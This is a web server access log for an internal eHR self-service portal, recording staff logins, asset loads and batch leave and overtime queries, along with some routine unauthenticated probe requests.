100.64.0.1 - - [03/Sep/2025:14:35:32 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-"
192.168.11.148 - - [03/Sep/2025:14:35:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [03/Sep/2025:14:35:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198
100.64.0.1 - - [03/Sep/2025:14:37:07 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:37:07 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:38:52 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:38:52 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:39:10 +0800] "\x03" 501 203
100.64.0.1 - - [03/Sep/2025:14:39:10 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [03/Sep/2025:14:41:11 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:41:11 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:44:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:44:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:47:04 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:14:47:04 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:48:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:48:17 +0800] "GET / HTTP/1.1" 200 439
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:14:50:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [03/Sep/2025:14:50:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [03/Sep/2025:14:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [03/Sep/2025:14:50:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:08 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [03/Sep/2025:14:50:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [03/Sep/2025:14:50:13 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [03/Sep/2025:14:50:16 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:14:50:16 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:50:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:50:19 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [03/Sep/2025:14:50:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [03/Sep/2025:14:50:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:25 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [03/Sep/2025:14:50:25 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:50:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [03/Sep/2025:14:50:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168
192.168.11.136 - - [03/Sep/2025:14:50:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:37 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:50:37 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.136 - - [03/Sep/2025:14:51:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:51:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168
192.168.11.136 - - [03/Sep/2025:14:51:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:51:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168
100.64.0.1 - - [03/Sep/2025:14:51:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:14:51:33 +0800] "GET / HTTP/1.1" 200 439
192.168.11.136 - - [03/Sep/2025:14:51:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19380
192.168.11.136 - - [03/Sep/2025:14:51:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19380 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:14:51:36 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:14:51:36 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.136 - - [03/Sep/2025:14:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20266
192.168.11.136 - - [03/Sep/2025:14:51:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20266 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:52:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11537 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:52:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11537
192.168.11.136 - - [03/Sep/2025:14:52:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252
192.168.11.136 - - [03/Sep/2025:14:52:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:52:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:52:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23402
192.168.11.136 - - [03/Sep/2025:14:52:46 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.136 - - [03/Sep/2025:14:52:46 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9085
192.168.11.136 - - [03/Sep/2025:14:53:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 9085 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:14:53:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [03/Sep/2025:14:53:08 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.136 - - [03/Sep/2025:14:53:08 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:09 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [03/Sep/2025:14:53:09 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [03/Sep/2025:14:53:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:14:53:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11436 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
